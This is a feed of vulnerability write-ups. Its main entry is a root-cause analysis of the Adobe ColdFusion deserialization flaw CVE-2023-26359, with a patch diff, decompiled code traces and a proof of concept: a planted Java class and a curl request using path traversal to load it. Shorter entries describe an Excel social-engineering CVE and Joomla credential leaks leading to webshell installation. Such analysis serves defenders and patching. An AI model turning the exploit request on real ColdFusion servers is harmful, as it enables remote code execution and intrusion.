Activity Feed

Technical Analysis

Overview

Adobe ColdFusion is a rapid web application development platform. On March 14, 2023, Adobe published an advisory outlining three vulnerabilities that affect ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier. One of the vulnerabilities addressed in this advisory is CVE-2023-26359, a deserialization of untrusted data vulnerability that may lead to arbitrary code execution. This vulnerability has been given a CVSS base score of 9.8 and has a severity rating of Critical.

The vulnerability allows an attacker to specify an arbitrary file path to a java class or source file, when deserializing the metadata for a TemplateProxy object in the JSONUtils.deserializeJSON method during a _cfclient request. An attacker who can plant a malicious Java class or source file in a predictable location under any filename or extension, can leverage this vulnerability to achieve arbitrary code execution.

This analysis was performed on Adobe ColdFusion 2021 Update 5 (2021.0.05.330109), running on Windows Server 2022.

Root Cause Analysis

We analyze the patch for this vulnerability by downloading a patched version of ColdFusion 2021, update 6 and a vulnerable version of ColdFusion 2021, update 5. We can decompile both versions using the Java decompiler CFR.

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 C:\cf2021u5\opt\coldfusion\cfusion\lib\cfusion.jar

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u5 --clobber true C:\\cf2021u5\opt\coldfusion\cfusion\lib\updates\chf20210005.jar

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 C:\\cf2021_u6\opt\coldfusion\cfusion\lib\cfusion.jar

> java -jar cfr-0.152.jar --outputpath c:\decomp_coldfusion_u6 --clobber true C:\\cf2021_u6\opt\coldfusion\cfusion\lib\updates\chf20210006.jar

Inspecting these folders for changes we identify the file JSONUtils.java as being of interest, and running a git diff command against the two version of this file will reveal the addition of a variable allowNonCFCDeserialization which prevents a TemplateProxy instance being created during a call to coldfusion.runtime.JSONUtils.convertToTemplateProxy. In addition the patch also enforces a TemplateProxy to originate from a file name with a .cfc extension.

diff --git "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java" "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java"
index 7bca87f..293fb20 100644
--- "a/c:\\decomp_coldfusion_u5\\coldfusion\\runtime\\JSONUtils.java"
+++ "b/c:\\decomp_coldfusion_u6\\coldfusion\\runtime\\JSONUtils.java"
@@ -96,6 +96,7 @@ public class JSONUtils {
     public static final String JS_DATE_FORMAT = "MMMMM, dd yyyy HH:mm:ss";
     private static final Logger logger = CFLogs.SERVER_LOG;
     private static Map<Integer, String> SPECIAL_CHAR_MAP;
+    private static boolean allowNonCFCDeserialization;
     private static final boolean numberAsDouble;
     private static boolean returnCaseSensitiveStruct;
     private static final String CASESENSITIVESTRUCT = "CaseSensitiveStruct";
@@ -1507,6 +1508,9 @@ public class JSONUtils {
                     serverClass = serverClass.substring(contextPath.length());
                 }
                 File pageFile = new File(context.getRealPath(serverClass, true));
+                if (!(!context.isCFClientCall() || allowNonCFCDeserialization || pageFile.exists() && pageFile.getAbsolutePath().endsWith(".cfc"))) {
+                    return null;
+                }
                 TemplateProxy tp = TemplateProxyFactory.resolveFile((NeoPageContext)context.pageContext, (File)pageFile);
                 Object varObj = s.get("_variables");
                 Map map = vars = varObj instanceof Array ? null : (Map)varObj;
@@ -1678,6 +1682,7 @@ public class JSONUtils {
     }

     static {
+        allowNonCFCDeserialization = Boolean.getBoolean("coldfusion.cfclient.allowNonCfc");
         numberAsDouble = Boolean.getBoolean("json.numberasdouble");
         returnCaseSensitiveStruct = false;
         SPECIAL_CHAR_MAP = new HashMap<Integer, String>();

First we must understand why a call to coldfusion.runtime.TemplateProxyFactory.resolveFile may be unsafe and why the addition of a variable allowNonCFCDeserialization and a check pageFile.getAbsolutePath().endsWith(".cfc") was added to prevent exploitation. Then we will identify how an attacker can call this method with attacker controlled data to trigger the issue.

If we inspect convertToTemplateProxy we can see the parameter s is a key value Map structure. This parameter, we will learn, is attacker controlled. If the map contains a value with the key _metadata, this metadata value, itself a Map, will be queried for a value with a key of classname. This classname string will be converted into a file path via a call to coldfusion.filter.FusionContext.getRealPath. Finally this file path will be passed to coldfusion.runtime.TemplateProxyFactory.resolveFile. No attempt to sanitize the pageFile path is performed, allowing a malicious path to an arbitrary file to be specified by an attacker, including the use of the double dot path specifier to navigate beneath the C:\ColdFusion2021\cfusion\wwwroot\ if desired.

    private static Map convertToTemplateProxy(Map s) {
        Map ret = s;
        try {
            Object metadata = s.get("_metadata");
            FusionContext context = FusionContext.getCurrent();
            if (metadata != null) {
                Map vars;
                String serverClass = (String)((Map)metadata).get("classname");
                String contextPath = context.getRequest().getContextPath();
                if (!serverClass.startsWith("/")) {
                    serverClass = serverClass.substring(serverClass.indexOf("//") + 2);
                    serverClass = serverClass.substring(serverClass.indexOf("/") + 1);
                }
                if (contextPath != null && !"".equals(contextPath) && serverClass.startsWith(contextPath)) {
                    serverClass = serverClass.substring(contextPath.length());
                }
                File pageFile = new File(context.getRealPath(serverClass, true));
                TemplateProxy tp = TemplateProxyFactory.resolveFile(context.pageContext, pageFile); // <----
                Object varObj = s.get("_variables");
                Map map = vars = varObj instanceof Array ? null : (Map)varObj;
                if (vars != null) {
                    tp.getVariableScope().putAll(vars);
                }
                return tp;
            }
        }
        catch (Throwable throwable) {
            // empty catch block
        }
        return ret;
    }

A call to resolveFile wraps a call to resolveName as shown below. The parameter canonicalResolvedFile is a File instance with an attacker controlled path. This path is passed to coldfusion.runtime.TemplateProxyFactory.getCFCInstance.

    static TemplateProxy resolveName(TemplateProxy proxyInstance, NeoPageContext pageContext, File canonicalResolvedFile, String fullName, boolean origCFC, Map initalThisVars, HashSet derivedClasses, boolean initializeCFC) throws Throwable {
        CfJspPage page;
        AttributeCollection metadata;
        ServletContext servletContext = pageContext.getServletContext();
        if (fullName != null) {
            fullName = fullName.replace('/', '.');
            if ((fullName = fullName.replace('\\', '.')).startsWith(".")) {
                fullName = fullName.substring(fullName.indexOf(".") + 1);
            }
        }
        if ((metadata = (AttributeCollection)(page = TemplateProxyFactory.getCFCInstance(servletContext, canonicalResolvedFile, fullName)).getMetadata()).get(Key.PATH) == null && (String)metadata.get(Key.NAME) == "application") { // <----
            metadata.put(Key.NEWLY_COMPILED, (Object)"true");
        }

In getCFCInstance we can see the attacker controlled path is passed to TemplateClassLoader.newInstance.

    private static CfJspPage getCFCInstance(ServletContext servletContext, File canonicalFile, String fullName) throws Exception {
        CfJspPage page;
        if (System.getSecurityManager() != null) {
            page = (CfJspPage)AccessController.doPrivileged(new TemplateClassLoaderPrivilege(servletContext, canonicalFile, null));
            if (fullName != null && !fullName.equals(BASE_COMPONENT_NAME)) {
                if (VFSFileFactory.checkIfVFile(canonicalFile.getPath())) {
                    AccessController.checkPermission(new VFilePermission(canonicalFile.getPath(), "read"));
                } else {
                    AccessController.checkPermission(new FilePermission(canonicalFile.getPath(), "read"));
                }
            }
        } else {
            page = TemplateClassLoader.newInstance(servletContext, canonicalFile.getPath(), null); // <----
        }
        return page;
    }

And in newInstance we can see the attacker controlled path is passed to coldfusion.runtime.TemplateClassLoader.findClass which will return a Class instance that represent the loaded class in the Java Virtual Machine (JVM). We can then see an instance of this class is constructed via a call to c.getDeclaredConstructor(new Class[0]).newInstance.

   public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs) throws Exception {
        return TemplateClassLoader.newInstance(application, realPath, vs, null); // <----
    }

    public static CfJspPage newInstance(ServletContext application, String realPath, VariableScope vs, LocalScope ls) throws Exception {
        Class c = TemplateClassLoader.findClass(application, realPath); // <----
        if (c == null) {
            String upperFilePath = realPath.toUpperCase();
            if (upperFilePath.endsWith(".CFC")) {
                throw new CfJspPage.NoSuchTemplateException(realPath);
            }
            throw new TemplateNotFoundException(realPath);
        }
        Object obj = c.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]); // <----

The method findClass will try to pull out a Class instance from a cache called classCache using the file path as the key.

    public static Class findClass(ServletContext application, String realPath) throws IOException {
        long lastModTime;
        long compiledTime;
        if (translator == null) {
            Class<TemplateClassLoader> clazz = TemplateClassLoader.class;
            // MONITORENTER : coldfusion.runtime.TemplateClassLoader.class
            if (translator == null) {
                translator = new NeoTranslator(application);
                translator.setSaveClasses(saveClassFiles);
                runtimeService = ServiceFactory.getRuntimeService();
                classCache.setSize(runtimeService.getTemplateCacheSize());
                classDir = new File(TemplateClassLoader.translator.outputDir);
            }
            // MONITOREXIT : clazz
        }
        if (runtimeService.isCommandLineCompile() && (compiledTime = TemplateClassLoader.getLastCompiledTime(realPath)) != (lastModTime = TemplateClassLoader.getLastModifiedTime(realPath))) {
            classCache.remove(realPath);
        }
        Class c = (Class)classCache.get(realPath); // <----

The cache is of type coldfusion.runtime.TemplateClassLoader.TemplateCache which inherits from coldfusion.util.SoftCache. We can see below that if a call to get returns a null reference, occurring when a file path is loaded for the first time, then a call to fetch is performed.

// coldfusion.util.SoftCache
    public Object get(Object key) {
        if (this.stats == Stats.FALSE || this.stats == Stats.RUNTIME && !statsEnabled) {
            return this.get_statsOff(key); // <----
        }
        return this.get_statsOn(key);
    }

    private Object get_statsOff(Object key) {
        Object value;
        ValueRef ref = this.map.get(key);
        if (ref != null && (value = ref.get()) != null) {
            return value instanceof Null ? null : value;
        }
        this.reap();
        value = this.fetch(key); // <----

fetch as implemented in TemplateCache will use the ColdFusion compiler NeoTranslator to translate the files contents into a Java class via a call to coldfusion.compiler.NeoTranslator.translateJava.

    private static class TemplateCache
    extends SoftCache {
        private static TemplateChecker tc = null;
        final LruCache secondary = new LruCache(){

            @Override
            protected Object fetch(Object file) {
                try {
                    Class<?> c;
                    Map classBytes;
                    File canonicalFile = (File)file;
                    if (tc != null && !tc.check(canonicalFile)) {
                        return null;
                    }
                    String className = NeoTranslator.getClassName(canonicalFile);
                    byte[] bytes = null;
                    if (saveClassFiles && translator.isNewPage(canonicalFile.getPath())) {
                        long sourceModTime = -1L;
                        try {
                            if (System.getSecurityManager() == null) {
                                bytes = TemplateClassLoader.getClassBytes(className);
                            } else {
                                try {
                                    final String tempClassName = className;
                                    bytes = (byte[])AccessController.doPrivileged(new PrivilegedExceptionAction(){

                                        public Object run() throws Exception {
                                            return TemplateClassLoader.getClassBytes(tempClassName);
                                        }
                                    });
                                }
                                catch (PrivilegedActionException e) {
                                    throw new IOException(e.getLocalizedMessage());
                                }
                            }
                            sourceModTime = new ClassReader(bytes).getSourceModTime();
                        }
                        catch (IOException e) {
                            // empty catch block
                        }
                        if (sourceModTime != -1L) {
                            translator.setSourceLastModified(canonicalFile.getPath(), sourceModTime);
                        }
                        classBytes = translator.translateJava(canonicalFile.getPath(), false); // <----
                    } else {
                        classBytes = translator.translateJava(canonicalFile.getPath(), true);
                    }

Finally translateJava will perform one of two operations. If the file to be loaded is a Java Class binary, as identified by inspecting the first four bytes for the magic value 0xCAFEBABE, then this class file will be loaded. If it is not a class file, the file will be compiled on the fly as source code for a Java ColdFusion component or module.

The root cause of the vulnerability lies in convertToTemplateProxy. We can see that this vulnerable method is called during coldfusion.runtime.JSONUtils.parseObject as shown below, which itself is called during JSONUtils.deserializeJSON. By default deserializeToTemplateProxy will be false, so to reach the vulnerable convertToTemplateProxy method, the HTTP request must be a _cfclient request in order to satisfy the isCFClientCall check. A _cfclient request is identified by having the parameter _cfclient=true present in the request URL.

    private static Object parseObject(ParserState state) {
        Object cfml;
        JSONUtils.walkWhitespace(state);
        switch (state.currentChar()) {
            case '{': {
                cfml = JSONUtils.parseStruct(state);
                FusionContext fc = FusionContext.getCurrent();
                CFComparable cfmlStruct = returnCaseSensitiveStruct ? (CaseSensitiveStruct)cfml : (Struct)cfml;
                if (fc != null && (fc.isCFClientCall() || state.deserializeToTemplateProxy) && cfmlStruct.get("_metadata") != null) {
                    if (returnCaseSensitiveStruct) {
                        cfml = JSONUtils.convertToTemplateProxy((CaseSensitiveStruct)cfml); // <----
                        break;
                    }
                    cfml = JSONUtils.convertToTemplateProxy((Struct)cfml); // <----
                    break;
                }

From reviewing the above we can see that calling JSONUtils.deserializeJSON with attacker controlled JSON input during a _cfclient request will result in an attacker specified file being instantiated as a Java class. The attacker may provide an arbitrary path to any file on the local file system and the file may have an arbitrary extension, ie. it can end in .txt, .log, .xml or any other extension and does not need to be .cfc. However we must note that this vulnerability in and of itself does not give the ability to create an arbitrary file on disk. An attacker will need to leverage a separate technique to plant a malicious file in a predictable location before being able to leverage this vulnerability.

Triggering the Vulnerability

Searching for calls to the vulnerable JSONUtils.deserializeJSON method reveals the invoke method in the coldfusion.filter.ComponentFilter class. This class is part of a filter chain in the CFCServlet class. The filter chain is a series of filter classes that process, in sequence, all incoming HTTP requests to ColdFusion Component (CFC) files. The configuration for this servlet is specified in the file C:\ColdFusion2021\cfusion\wwwroot\WEB-INF\web.xml which contains the following URL pattern mapping.

    <servlet-mapping id="coldfusion_mapping_4">
        <servlet-name>CFCServlet</servlet-name>
        <url-pattern>*.cfc</url-pattern>
    </servlet-mapping>
	<servlet-mapping id="coldfusion_mapping_18">
        <servlet-name>CFCServlet</servlet-name>
        <url-pattern>*.CFC</url-pattern>
    </servlet-mapping>
	<servlet-mapping id="coldfusion_mapping_19">
        <servlet-name>CFCServlet</servlet-name>
        <url-pattern>*.Cfc</url-pattern>
    </servlet-mapping>

Therefore a HTTP request to a CFC file on the server will be processed by the ComponentFilter class.

We can see below in ComponentFilter.invoke that if a url parameter called _cfclient is set to true then all further calls to isCFClientCall will be true, which is a requirement for triggering the vulnerability in coldfusion.runtime.JSONUtils.parseObject as previously discussed. The parameters passed in the request are retrieved via FilterUtils.GetArgumentCollection and an attacker controlled parameter _variables is deserialized via the vulnerable JSONUtils.deserializeJSON method with attacker controlled data.

package coldfusion.filter;

We can see below that if the URL in the request
public class ComponentFilter extends FusionFilter {

    public void invoke(FusionContext context) throws Throwable {
        // ...
                if ((cfClientCall = (String)(urlScope = (UrlScope)context.hiddenScope.get("URL")).get("_cfclient")) != null && Cast._boolean(cfClientCall)) {
                    context.setCfclientCall(true);
                }
                Map args = FilterUtils.GetArgumentCollection(context);
                Struct cloneVars = new Struct();
                if (context.isCFClientCall()) {
                    String name;
                    String type;
                    AttributeCollection attr;
                    int i;
                    args.remove("_cfclient");
                    args.remove("_metadata");
                    Map vars = (Map)JSONUtils.deserializeJSON(args.remove("_variables")); // <----

PoC

To demonstrate exploitation we will manually plant a malicious Java class in a predictable location with an unassuming file extension, C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp. As previously discussed, this vulnerability requires the attacker to have this capability either through a separate vulnerability chained to this vulnerability, or by leveraging a web application specific feature of the target application running on top of ColdFusion.

First we create a simple Java class that will execute notepad via a static code block.

import java.io.*;

public class hax
{
	static {
		try {
			Runtime.getRuntime().exec("c:\\windows\\notepad.exe");
		  }
		  catch(IOException e) { }			
	}
}

We can compile this class using javac and plant it in an expected location with an extension of .tmp.

C:\ColdFusion2021\jre\bin\javac hax.java
copy hax.class C:\ColdFusion2021\cfusion\runtime\work\Catalina\localhost\tmp\hax.tmp

Finally a HTTP request to a CFC endpoint on the target will load the class. The specific CFC endpoint to target will depend on the web application installed on top of ColdFusion.

curl -v -k http://127.0.0.1:8500/some_cfc_endpoint.cfc?method=some_cfc_method^&_cfclient=true -X POST --data "_variables={\"_metadata\":{\"classname\":\"\\..\\runtime\\work\\Catalina\\localhost\\tmp\\hax.tmp\"},\"_variables\":{}}" -H "Content-Type: application/x-www-form-urlencoded"

Notepad will now execute with local system privileges.

Guidance

To successfully remediate against this vulnerability the latest updates for ColdFusion should be applied, specifically:

  • ColdFusion 2021 Update 6 or later
  • ColdFusion 2018 Update 16 or later
Indicated source as
1
Ratings
Technical Analysis

CVE-2023-23398

Description:

The attack itself is carried out locally by a user with authentication to the targeted system. An attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim’s computer. The attacker can trick the victim to open a malicious web page by using an Excel malicious file and he can steal credentials, bank accounts information, sniffing and tracking all the traffic of the victim without stopping – it depends on the scenario and etc.

Reference:

href

href

Proof and Exploit

href

1
Ratings
Technical Analysis

There are at least two ways to achieve RCE.

Vector n°1

It leaks the MySQL credentials, in default and most common configurations MySQL will be exposed only on 127.0.0.1 which make the attack ineffective. But if the database is exposed publicly, the attacker can change the Joomla! Super User’s password. The attacker logs in administrative web interface and modify a template to include a webshell or install a malicious plugin.

Vector n°2

It leaks the Joomla user database (usernames, emails, assigned group). The attacker can target a Super user and try bruteforce or credentials stuffing, then follows previously showcased paths to code execution.